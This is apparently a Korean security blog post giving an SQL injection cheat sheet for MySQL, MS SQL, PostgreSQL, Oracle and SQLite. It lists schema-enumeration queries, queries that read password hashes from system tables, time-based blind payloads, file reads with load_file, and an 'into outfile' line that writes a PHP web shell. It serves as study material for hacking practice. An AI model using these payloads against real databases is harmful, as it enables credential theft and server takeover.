Cheat Sheet
[각종 페이로드 다 나와있음]
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
My SQL Cheat Sheet
Injection
# 데이터베이스 출력
show databases;
# version
select version();
select @@version();
# 스키마 정보
select TABLE_SCHEMA from information_schema.tables group by TABLE_SCHEMA;
# 테이블 정보,이름
select TABLE_SCHEMA, TABLE_NAME from information_schema.TABLES;
# 칼럼 정보,이름
select TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME from information_schema.COLUMNS;
# 실시간 실행 쿼리 조회
select * from information_schema.PROCESSLIST;
# 실시간 계정 및 실행 쿼리 조회
select user,current_statement from sys.session;
# 계정 정보 및 권한 조회
select GRANTEE,PRIVILEGE_TYPE,IS_GRANTABLE from information_schema.USER_PRIVILEGES;
select User, authentication_string from mysql.user;
# 문자/문자열 추출
select substr([field], index, offset)
select mid([field], index, offset)
# Time based
sleep([seconds]) -> sleep(5)
Misconfiguration
# Load File: 시스템 파일을 읽을 수 있음
select load_file('/var/lib/mysql-files/test');
# Inout Outfile: 파일 시스템에 파일을 만들 수 있음
select '<?=`ls`?>' into outfile '/tmp/a.php';
- my.cnf의 secure_file_priv 설정에 따라 접근할 수 있는 파일 경로가 달라짐 , 일반적으로 /var/lib/mysql-files/이다.
MS SQL Cheat Sheet
# 데이터베이스 조회
SELECT name FROM sys.databases;
SELECT name FROM master..sysdatabases;
SELECT DB_NAME(1); # DB_NAME() 인자가 0이면 현재 DB를 나타냄
# version
SELECT @@version;
# 테이블 정보
SELECT name FROM dreamhack..sysobjects WHERE xtype = 'U'; # xtype의 "U"는 사용자 정보를 의미
SELECT table_name FROM dreamhack.information_schema.tables;
# 컬럼 정보
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'users');
SELECT table_name, column_name FROM dreamhack.information_schema.columns;
# 계정 정보
SELECT name, password_hash FROM master.sys.sql_logins;
SELECT * FROM master..syslogins;
# 문자/문자열 추출
SELECT substring([field], index, offset)
# Time based
waitfor delay 'hour:min:sec'
PostgreSQL Cheat Sheet
# database 정보
select datname from pg_database;
# version
select versino();
# schema 정보
select nspname from pg_catalog.pg_namespace;
# table 정보
select table_name from information_schema.tables where table_schema='pg_catalog';
select table_name from information_schema.tables where table_schema='information_schema';
select table_schema, table_name from information_schema.tables;
# 컬럼 정보
select table_schema, table_name, column_name from information_schema.columns;
# 계정 정보
select usename, passwd from pg_catalog.pg_shadow;
# dbs 설정 정보
select name, setting from pg_catalog.pg_settings;
# 실시간 쿼리 정보
select usename, query from pg_catalog.pg_stat_activity;
# 문자/문자열 추출
select substr([field], index, offset);
# Time based
pg_sleep([seconds]) -> pg_sleep(5);
Oracle Cheat Sheet
# 데이터베이스 정보(사용자가 접근 가능한)
SELECT DISTINCT owner FROM all_tables
SELECT owner, table_name FROM all_tables
# 컬럼 정보
SELECT column_name FROM all_tab_columns WHERE table_name = 'users'
# 계정 정보
SELECT * FROM all_users
SQLite Cheat Sheet
# 테이블과 sql 소유 유저 정보
select * from sqlite_master;
# version
select sqlite_version();
# 문자/문자열 추출
select substr([field], index, offset)
# Time based
LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
❗ 저작권
'Hacking > Cheat Sheet' 카테고리의 다른 글
[Cheat Sheet] CSS Injection (0) | 2022.08.03 |
---|---|
[Cheat Sheet] SSRF (0) | 2022.07.30 |